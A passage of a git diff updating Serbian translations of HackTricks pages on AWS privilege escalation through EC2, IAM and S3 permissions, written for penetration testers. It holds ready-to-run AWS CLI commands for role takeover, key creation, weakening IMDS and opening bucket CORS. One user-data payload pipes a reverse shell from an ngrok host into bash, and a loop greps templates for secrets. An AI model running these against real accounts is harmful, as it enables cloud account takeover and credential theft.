znači da može da natera instancu da **pokrene proizvoljne podatke.** To se može iskoristiti za dobijanje **rev shell** na EC2 instanci. -Imajte u vidu da se atributi mogu **izmeniti samo dok je instanca zaustavljena**, pa su potrebne **dozvole** **`ec2:StopInstances`** i **`ec2:StartInstances`**. +Napomena: atributi se mogu **menjati samo dok je instanca zaustavljena**, pa su potrebne **dozvole** **`ec2:StopInstances`** i **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Potencijalni uticaj:** Direktan privesc na bilo koju EC2 IAM Role pridruženu kreiranoj instanci. +**Potencijalni uticaj:** Direktan privesc do bilo koje EC2 IAM Role prikačene na kreiranu instancu. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Napadač sa permisijama **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** može da kreira **new Launch Template version** sa **rev shell in** **user data** i **any EC2 IAM Role on it**, promeni podrazumevanu verziju, i svaka **any Autoscaler group** **using** that **Launch Templat**e koja je **configured** da koristi **latest** ili **default version** će **re-run the instances** koristeći taj template i izvršiće rev shell. +Napadač koji ima dozvole **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** može da kreira **novu Launch Template verziju** sa **rev shell u** **user data** i **bilo kojom EC2 IAM Role na njoj**, promeni podrazumevanu verziju, i **bilo koja Autoscaler grupa** **koja koristi** taj **Launch Templat**e i koja je **konfigurisana** da koristi **najnoviju** ili **podrazumevanu verziju**, će **ponovo pokrenuti instance** koristeći taj template i izvršiti rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -176,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Potencijalni uticaj:** Direktan privesc na drugu EC2 rolu. +**Potencijalni uticaj:** Direktan privesc na drugi EC2 role. ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može **create a Launch Configuration** sa **IAM Role** i **rev shell** unutar **user data**, zatim **create an autoscaling group** iz te konfiguracije i sačekati da rev shell **steal the IAM Role**. +Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može da **kreira Launch Configuration** sa **IAM Role** i **rev shell** unutar **user data**, zatim **kreira autoscaling group** iz te Launch Configuration i sačeka da rev shell **preuzme IAM Role**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Potencijalni uticaj:** Direktan privesc na drugu EC2 rolu. +**Mogući uticaj:** Direktan privesc na drugu EC2 rolu. ### `!autoscaling` -Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM role, jer da biste prikačili rolu navedenu u Launch Configuration ili u Launch Template **potrebne su permisije `iam:PassRole` i `ec2:RunInstances`** (što je poznat privesc). +Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM rolu jer, da biste prikačili rolu navedenu u Launch Configuration ili u Launch Template, potrebne su dozvole `iam:PassRole` i `ec2:RunInstances` (što je poznati privesc). ### `ec2-instance-connect:SendSSHPublicKey` -Napadač sa dozvolom **`ec2-instance-connect:SendSSHPublicKey`** može dodati ssh ključ korisniku i koristiti ga da pristupi (ako ima ssh pristup instanci) ili da eskalira privilegije. +Napadač koji ima dozvolu **`ec2-instance-connect:SendSSHPublicKey`** može dodati ssh ključ korisniku i iskoristiti ga za pristup (ako ima ssh pristup instanci) ili za eskalaciju privilegija. ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Potencijalni uticaj:** Direktan privesc na EC2 IAM roles pridružene pokrenutim instancama. +**Potencijalni uticaj:** Direktan privesc do EC2 IAM roles prikačenih na pokrenutim instancama. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh ključ na serijsku vezu**. Ako serijski interfejs nije omogućen, napadaču je potrebna dozvola **`ec2:EnableSerialConsoleAccess` da ga omogući**. +Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh ključ za serijski konzolni pristup**. Ako serijski konzolni pristup nije omogućen, napadač treba dozvolu **`ec2:EnableSerialConsoleAccess` da ga omogući**. -Da biste se povezali na serijski port, takođe **morate znati korisničko ime i lozinku naloga** unutar mašine. +Da biste se povezali na serijski port, takođe **morate znati korisničko ime i lozinku korisnika** unutar mašine. ```bash aws ec2 enable-serial-console-access @@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Ovaj način nije baš koristan za privesc jer morate znati korisničko ime i lozinku da biste to iskoristili. +Ovaj način nije toliko koristan za privesc jer je potrebno znati username i password da bi se iskoristio. -**Potencijalni uticaj:** (Teško dokazivo) Direktan privesc na EC2 IAM roles koje su pridružene pokrenutim instancama. +**Mogući uticaj:** (Veoma teško dokazivo) Direct privesc to the EC2 IAM roles attached to running instances. ### `describe-launch-templates`,`describe-launch-template-versions` -Pošto launch templates imaju verzionisanje, napadač sa dozvolama **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** može iskoristiti ovo da otkrije osetljive informacije, kao što su kredencijali prisutni u user data. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch templates: +Pošto launch templates imaju verzionisanje, napadač sa **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** permisijama može iskoristiti ovo da otkrije osetljive informacije, kao što su kredencijali koji se nalaze u user data. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch templates: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -248,11 +248,11 @@ echo done | grep -iE "aws_|password|token|api" done ``` -U gore navedenim komandama, iako navodimo određene obrasce (`aws_|password|token|api`), možete koristiti drugi regex da biste tražili druge vrste osetljivih informacija. +U gore navedenim komandama, iako navodimo određene obrasce (`aws_|password|token|api`), možete koristiti drugačiji regex da tražite druge vrste osetljivih informacija. -Ako pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti te akreditive za autentifikaciju na AWS. +Pretpostavljajući da nađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti te kredencijale za autentifikaciju na AWS. -**Potential Impact:** Direktno eskaliranje privilegija na IAM korisnika/korisnike. +**Potential Impact:** Direktna eskalacija privilegija na IAM korisnike. ## References @@ -262,13 +262,12 @@ Ako pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti +### `ec2:ModifyInstanceMetadataOptions` (Smanjivanje IMDS zaštite kako bi se omogućila krađa kredencijala putem SSRF) -### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade za omogućavanje SSRF krađe kredencijala) +Napadač koji ima mogućnost da pozove `ec2:ModifyInstanceMetadataOptions` na ciljanoj EC2 instanci može oslabiti IMDS zaštite omogućavanjem IMDSv1 (`HttpTokens=optional`) i povećanjem `HttpPutResponseHopLimit`. To čini endpoint metapodataka instance dostupnim preko uobičajenih SSRF/proxy putanja iz aplikacija koje se izvršavaju na instanci. Ako napadač može pokrenuti SSRF u takvoj aplikaciji, može preuzeti kredencijale instance profila i pivotirati koristeći ih. -Napadač koji ima mogućnost da pozove `ec2:ModifyInstanceMetadataOptions` na kompromitovanoj EC2 instanci može oslabiti IMDS zaštite omogućavanjem IMDSv1 (`HttpTokens=optional`) i povećanjem `HttpPutResponseHopLimit`. To čini endpoint instance metadata dostpunim putem uobičajenih SSRF/proxy putanja iz aplikacija koje se izvršavaju na instanci. Ako napadač može da izazove SSRF u takvoj aplikaciji, može preuzeti kredencijale instance profila i pivotirati pomoću njih. - -- Potrebne dozvole: `ec2:ModifyInstanceMetadataOptions` na ciljnoj instanci (plus mogućnost da se dostigne/izazove SSRF na hostu). -- Ciljni resurs: Pokrenuta EC2 instanca sa pridruženim instance profile-om (IAM role). +- Potrebna dopuštenja: `ec2:ModifyInstanceMetadataOptions` na ciljanoj instanci (pored mogućnosti da dosegne/pokrene SSRF na hostu). +- Ciljni resurs: pokrenuta EC2 instanca sa prikačenim instance profile-om (IAM role). Commands example: ```bash @@ -297,5 +296,28 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -Potencijalni uticaj: Krađa instance profile credentials putem SSRF-a koja dovodi do privilege escalation i lateral movement sa EC2 role permissions. +Mogući uticaj: Krađa kredencijala instance profila putem SSRF-a što dovodi do eskalacije privilegija i lateralnog kretanja uz dozvole EC2 role. + +### `ec2:ModifyInstanceMetadataOptions` + +Napadač koji ima dozvolu ec2:ModifyInstanceMetadataOptions može oslabiti zaštite Instance Metadata Service (IMDS) — na primer forsiranjem IMDSv1 (činjenjem HttpTokens nepotrebnim) ili povećanjem HttpPutResponseHopLimit — čime se olakšava eksfiltracija privremenih kredencijala. Najrelevantniji vektor rizika je povećanje HttpPutResponseHopLimit: povećanjem tog hop limita (TTL), endpoint 169.254.169.254 prestaje biti strogo ograničen na mrežni namespace VM-a i može postati dostupan drugim procesima/kontejnerima, omogućavajući krađu kredencijala. +```bash +aws ec2 modify-instance-metadata-options \ +--instance-id \ +--http-tokens optional \ +--http-endpoint enabled \ +--http-put-response-hop-limit 2 +``` +### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` + +Napadač koji ima dozvole `ec2:ModifyImageAttribute` i `ec2:ModifySnapshotAttribute` može da podeli AMIs ili snapshots sa drugim AWS nalozima (ili čak da ih učini javnim), čime izlaže images ili volumes koji mogu sadržati osetljive podatke kao što su konfiguracije, pristupni podaci, sertifikati ili rezervne kopije. Menjanjem AMI-jeve launch permissions ili snapshot-ovih create-volume permissions, napadač omogućava trećim stranama da pokrenu instances ili montiraju diskove iz tih resursa i pristupe njihovom sadržaju. + +Da biste podelili AMI sa drugim nalogom: +```bash +aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region +``` +Da biste podelili EBS snapshot sa drugim nalogom: +```bash +aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index dad5f1da1..bdd3958f3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,66 +12,66 @@ Za više informacija o IAM pogledajte: ### **`iam:CreatePolicyVersion`** -Omogućava kreiranje nove verzije IAM policy-ja, zaobilazeći potrebu za permisijom `iam:SetDefaultPolicyVersion` korišćenjem opcije `--set-as-default`. Ovo omogućava definisanje prilagođenih permisija. +Omogućava kreiranje nove IAM policy verzije, zaobilaženjem potrebe za dozvolom `iam:SetDefaultPolicyVersion` korišćenjem flaga `--set-as-default`. Ovo omogućava definisanje prilagođenih dozvola. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Uticaj:** Direktno eskalira privilegije dopuštajući bilo koju akciju nad bilo kojim resursom. +**Impact:** Direktno eskalira privilegije omogućavajući izvršavanje bilo koje akcije nad bilo kojim resursom. ### **`iam:SetDefaultPolicyVersion`** Omogućava promenu podrazumevane verzije IAM policy-ja na neku drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola. -**Bash komanda:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Uticaj:** Indirektno privilege escalation omogućavanjem dodatnih dozvola. +**Uticaj:** Indirektna privilege escalation omogućavanjem dodatnih dozvola. ### **`iam:CreateAccessKey`** -Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalnog privilege escalation. +Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalne privilege escalation. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Uticaj:** Direktna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika. +**Uticaj:** Neposredna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Omogućava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za prijavu na AWS konzolu, što dovodi do direktne eskalacije privilegija. +Dozvoljava kreiranje ili ažuriranje login profila, uključujući postavljanje lozinki za prijavu na AWS konzolu, što vodi do neposredne eskalacije privilegija. -**Exploit for Creation:** +**Eksploit za kreiranje:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit za Ažuriranje:** +**Exploit za ažuriranje:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Uticaj:** Direktna eskalacija privilegija prijavom kao bilo koji korisnik. +**Uticaj:** Direktna eskalacija privilegija prijavom kao korisnik "any". ### **`iam:UpdateAccessKey`** -Dozvoljava ponovno omogućavanje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje taj onemogućeni access key. +Dozvoljava ponovno aktiviranje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni access key. -**Exploit:** +**Eksploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Uticaj:** Direktna eskalacija privilegija ponovnim aktiviranjem access keys. +**Impact:** Direktna eskalacija privilegija ponovnim reaktiviranjem access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Omogućava generisanje ili resetovanje kredencijala za određene AWS servise (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole pripadajućeg korisnika. +Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole pridruženog korisnika. -**Eksploit za kreiranje:** +**Exploit for Creation:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` @@ -79,11 +79,11 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impact:** Direktna eskalacija privilegija u okviru servisnih dozvola korisnika. +**Uticaj:** Direktna eskalacija privilegija u okviru servisnih dozvola korisnika. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Omogućava prikačivanje policy-ja korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola prikačenog policy-ja. +Omogućava prikačivanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola prikačene politike. **Exploit for User:** ```bash @@ -99,11 +99,11 @@ aws iam attach-group-policy --group-name --policy-arn " Dozvoljava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktnu eskalaciju privilegija dodeljivanjem dodatnih dozvola. -**Eksploatacija za ulogu:** +**Eksploit za ulogu:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Eksploatacija za Inline Policies:** +**Exploit za Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -127,28 +127,28 @@ Možete koristiti politiku poput: ] } ``` -**Uticaj:** Direktna eskalacija privilegija dodavanjem dozvola kroz politike. +**Uticaj:** Direktna eskalacija privilegija dodavanjem dozvola putem politika. ### **`iam:AddUserToGroup`** -Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola grupe. +Omogućava dodavanje sebe u IAM grupu, čime se eskaliraju privilegije nasleđivanjem dozvola te grupe. -**Eksploit:** +**Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Uticaj:** Direktno eskaliranje privilegija do nivoa dozvola grupe. +**Uticaj:** Direktna eskalacija privilegija do nivoa dozvola grupe. ### **`iam:UpdateAssumeRolePolicy`** -Dozvoljava izmenu assume role policy dokumenta role, što omogućava preuzimanje te role i njenih pridruženih dozvola. +Omogućava izmenu assume role policy dokumenta role, čime se omogućava preuzimanje role i njenih pripadajućih dozvola. -**Eksploatacija:** +**Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Ako politika izgleda na sledeći način i daje korisniku dozvolu da preuzme ulogu: +Gde politika izgleda ovako, i time daje korisniku dozvolu da preuzme ulogu: ```json { "Version": "2012-10-17", @@ -163,13 +163,13 @@ Ako politika izgleda na sledeći način i daje korisniku dozvolu da preuzme ulog ] } ``` -**Uticaj:** Direktno eskaliranje privilegija preuzimanjem dozvola bilo koje uloge. +**Uticaj:** Direktna eskalacija privilegija preuzimanjem dozvola bilo koje uloge. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Dozvoljava otpremanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog eskaliranja privilegija. +Dozvoljava otpremanje javnog SSH ključa za autentikaciju u CodeCommit i deaktivaciju MFA uređaja, što može dovesti do potencijalne indirektne eskalacije privilegija. -**Eksploat za otpremanje SSH javnog ključa:** +**Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` @@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Uticaj:** Neizravna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite. +**Uticaj:** Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite. ### **`iam:ResyncMFADevice`** -Dozvoljava ponovnu sinhronizaciju MFA uređaja, što potencijalno može dovesti do neizravne eskalacije privilegija manipulisanjem MFA zaštite. +Dozvoljava ponovnu sinhronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite. -**Bash Command:** +**Bash komanda:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** Indirektno eskaliranje privilegija dodavanjem ili manipulacijom MFA uređaja. +**Uticaj:** Indirect privilege escalation by adding or manipulating MFA devices. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Uz ove dozvole možete **izmeniti XML metadata SAML konekcije**. Zatim možete zloupotrebiti **SAML federation** da se **login** sa bilo kojom **role koja joj veruje**. +Sa ovim dozvolama možete **promeniti XML metadata of the SAML connection**. Zatim, možete zloupotrebiti **SAML federation** da se **login** sa bilo kojom **role that is trusting** it. -Imajte na umu da pri tome **legit users won't be able to login**. Međutim, možete dobiti XML, pa možete staviti svoj, login i vratiti prethodnu konfiguraciju. +Imajte na umu da nakon ovoga **legitimni korisnici neće moći da se login**. Međutim, možete dobiti XML, zameniti ga svojim, login i vratiti prethodnu konfiguraciju. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Alat sposoban da generiše SAML metapodatke i prijavi se sa određenom ulogom +> TODO: Alat sposoban da generiše SAML metapodatke i izvrši login sa zadatom role ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Nisam siguran u ovo) Ako napadač ima ove **dozvole**, mogao bi dodati novi **Thumbprint** kako bi se prijavio u sve role koje veruju tom provajderu. +(Nisam siguran u ovo) Ako napadač ima ove **dozvole**, mogao bi dodati novi **Thumbprint** i tako izvršiti login u svim role koje veruju provideru. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,9 +226,36 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Ova dozvola omogućava attackeru da ažurira permissions boundary korisnika, potencijalno eskalirajući njihove privilegije tako što im dozvoljava da izvršavaju akcije koje su obično ograničene njihovim postojećim dozvolama. +Ovo dopuštenje omogućava napadaču da ažurira permissions boundary korisnika, potencijalno eskalirajući njihove privilegije tako što će im omogućiti da izvrše radnje koje su inače ograničene njihovim postojećim dozvolama. +```bash +aws iam put-user-permissions-boundary \ +--user-name \ +--permissions-boundary arn:aws:iam:::policy/ -## References +Un ejemplo de una política que no aplica ninguna restricción es: + + +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BoundaryAllowAll", +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +} +``` +### `iam:PutRolePermissionsBoundary` + +Akter sa iam:PutRolePermissionsBoundary može postaviti ograničenje dozvola na postojeću ulogu. Rizik nastaje kada neko sa ovom dozvolom promeni granicu uloge: može nepravilno ograničiti operacije (uzrokujući prekid usluge) ili, ako prikači permisivno ograničenje, efikasno proširiti šta uloga može da radi i eskalirati privilegije. +```bash +aws iam put-role-permissions-boundary \ +--role-name \ +--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy +``` +## Izvori - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index 270b8a775..335b45457 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Napadač sa tim dozvolama nad relevantnim bucket-ima može da hijack resources and escalate privileges. +Napadač koji ima te permissions nad interesantnim buckets može hijack resources i escalate privileges. -Na primer, napadač sa tim **dozvolama nad cloudformation bucket-om** pod nazivom "cf-templates-nohnwfax6a6i-us-east-1" moći će da hijack the deployment. Pristup se može dodeliti sledećom politikom: +Na primer, napadač koji ima te **permissions over a cloudformation bucket** pod imenom "cf-templates-nohnwfax6a6i-us-east-1" moći će da hijack deployment. Pristup se može dodeliti pomoću sledeće policy: ```json { "Version": "2012-10-17", @@ -34,30 +34,29 @@ Na primer, napadač sa tim **dozvolama nad cloudformation bucket-om** pod nazivo ] } ``` -I otmica je moguća zato što postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon deploy-ovan**. Napadač može jednostavno da kreira **lambda function** na svom nalogu koja će **trigger-ovati kada se pošalje bucket notification**, i **hijacks** **sadržaj** tog **bucket-a**. +I otmica je moguća zato što postoji **mali vremenski prozor od trenutka kada je template otpremljen** u bucket do trenutka kada je **template deployed**. Napadač bi mogao jednostavno da kreira **lambda function** na svom nalogu koja će se **trigger-ovati kada se pošalje bucket notification**, i **otme** **content** tog **bucket-a**. ![](<../../../images/image (174).png>) -Pacu modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) može se koristiti za automatizaciju ovog napada.\ +The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ Za više informacija pogledajte originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -Ove dozvole služe za **preuzimanje i otpremanje objekata u S3**. Nekoliko servisa unutar AWS (i izvan njega) koristi S3 storage za čuvanje **config files**.\ -Napadač sa **pristupom za čitanje** do njih može pronaći **osetljive informacije**.\ -Napadač sa **pristupom za pisanje** može **izmeniti podatke kako bi zloupotrebio neki servis i pokušao da eskalira privilegije**.\ -Evo nekoliko primera: +Ovo su dozvole za **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ +An attacker with **read access** to them might find **sensitive information** on them.\ +An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ +These are some examples: -- Ako EC2 instance čuva **user data u S3 bucket-u**, napadač bi mogao da ga izmeni kako bi **izvršio proizvoljni kod unutar EC2 instance**. +- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -Veoma je često da se terraform state fajlovi čuvaju u blob storage-u cloud provajdera, npr. AWS S3. Ekstenzija fajla za state fajl je `.tfstate`, a nazivi bucket-a često otkrivaju da sadrže terraform state fajlove. Obično svaki AWS account ima bar jedan takav bucket za čuvanje state fajlova koji prikazuju stanje naloga. -Takođe, u realnim nalozima gotovo uvek svi developeri imaju `s3:*`, a ponekad i poslovni korisnici imaju `s3:Put*`. +Veoma je uobičajeno da se [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files čuvaju u blob storage kod cloud provajdera, npr. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`. -Dakle, ako imate navedene dozvole nad ovim fajlovima, postoji vektor napada koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama `terraform` — najčešće `AdministratorAccess`, čime postajete administrator cloud naloga. Takođe, možete koristiti taj vektor za DoS (denial of service) napad tako što ćete naterati `terraform` da obriše legitimne resurse. +Dakle, ako imate navedene permisije nad ovim fajlovima, postoji vektor napada koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama `terraform` - najčešće `AdministratorAccess`, čineći vas adminom cloud naloga. Takođe, možete iskoristiti taj vektor za denial of service attack tako što ćete naterati `terraform` da obriše legitimne resurse. -Pratite opis u sekciji *Abusing Terraform State Files* na stranici *Terraform Security* za direktno upotrebljiv exploit kod: +Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -65,7 +64,7 @@ Pratite opis u sekciji *Abusing Terraform State Files* na stranici *Terraform Se ### `s3:PutBucketPolicy` -Napadač, koji mora biti **iz istog naloga** (u suprotnom će se pojaviti greška `The specified method is not allowed`), sa ovom dozvolom će moći da sebi dodeli više permisija nad bucket-om/bucket-ima, što mu omogućava da čita, piše, menja, briše i eksponira bucket-e. +Napadač koji mora biti **iz istog naloga**, u suprotnom će se pojaviti greška `The specified method is not allowed will trigger`, са ovom dozvolom će moći da sebi dodeli više permissions nad bucket-ima, omogućavajući mu да read, write, modify, delete и expose buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Napadač može zloupotrebiti ove dozvole da sebi dodeli veći pristup specifičnim objektima unutar buckets. +An attacker može da zloupotrebi ove permissions kako bi sebi dodelio veći access nad određenim objects unutar buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Napadač sa ovim privilegijama može da postavi Acl za određenu verziju objekta +Napadač sa ovim privilegijama bi trebalo da može da postavi Acl na određenu verziju objekta. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` +### `s3:PutBucketCORS` + +Napadač koji ima dozvolu s3:PutBucketCORS može izmeniti CORS (Cross-Origin Resource Sharing) konfiguraciju bucketa, koja kontroliše koje web domene mogu pristupiti njegovim endpointima. Ako postave permisivnu politiku, bilo koji website bi mogao slati direktne zahteve ka bucketu i čitati odgovore iz browsera. + +To znači da, potencijalno, ako autentifikovani korisnik web aplikacije hostovane iz bucketa poseti napadačev website, napadač bi mogao iskoristiti permisivnu CORS politiku i, u zavisnosti od aplikacije, pristupiti korisnikovim podacima profila ili čak preuzeti korisnikov nalog. +```bash +aws s3api put-bucket-cors \ +--bucket \ +--cors-configuration '{ +"CORSRules": [ +{ +"AllowedOrigins": ["*"], +"AllowedMethods": ["GET", "PUT", "POST"], +"AllowedHeaders": ["*"], +"ExposeHeaders": ["x-amz-request-id"], +"MaxAgeSeconds": 3000 +} +] +}' +``` {{#include ../../../../banners/hacktricks-training.md}}